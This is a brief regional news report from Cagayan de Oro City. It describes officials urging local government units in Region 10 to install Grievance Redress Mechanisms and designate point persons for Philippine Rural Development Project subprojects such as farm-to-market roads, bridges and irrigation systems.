Cagayan de Oro City — The provincial project monitoring and implementing unit of the provinces PPMIUs, municipal PMIUs and city PMIUs in Region 10 are urged to install Grievance Redress Mechanism (GRM) in the implementation of the Philippine Rural Development Project (PRDP) in their respective local government units (LGUs).
GRM is an integral project management element that intends to seek feedback from beneficiaries and resolve of complaints on project activities and performance.
During the coordination meeting with Regional Project Coordination Office (RPCO) and the PPMIUs held in Cagayan de Oro City last December, Gay Nanette Aleria, RPCO 10 focal person of the Social Environmental Safeguard, emphasized the immediate need to install the GRM point person (GPP) at the LGU level especially those with ongoing projects like farm-to-market roads (FMRs), bridges, and irrigation systems, among others.
“For those who have not installed yet their GRM, I hope you can do it soon especially those with ongoing projects,” Aleria said.
Aleria mentioned that some municipal and barangay LGUs particularly those implementing year one subprojects, were trained already on GRM in a seminar-workshop held in July 2015 in Cagayan de Oro City and they are now following through their GRM plan of action like briefing their local chief executives/barangay chairmen, and designation of GRM point persons.
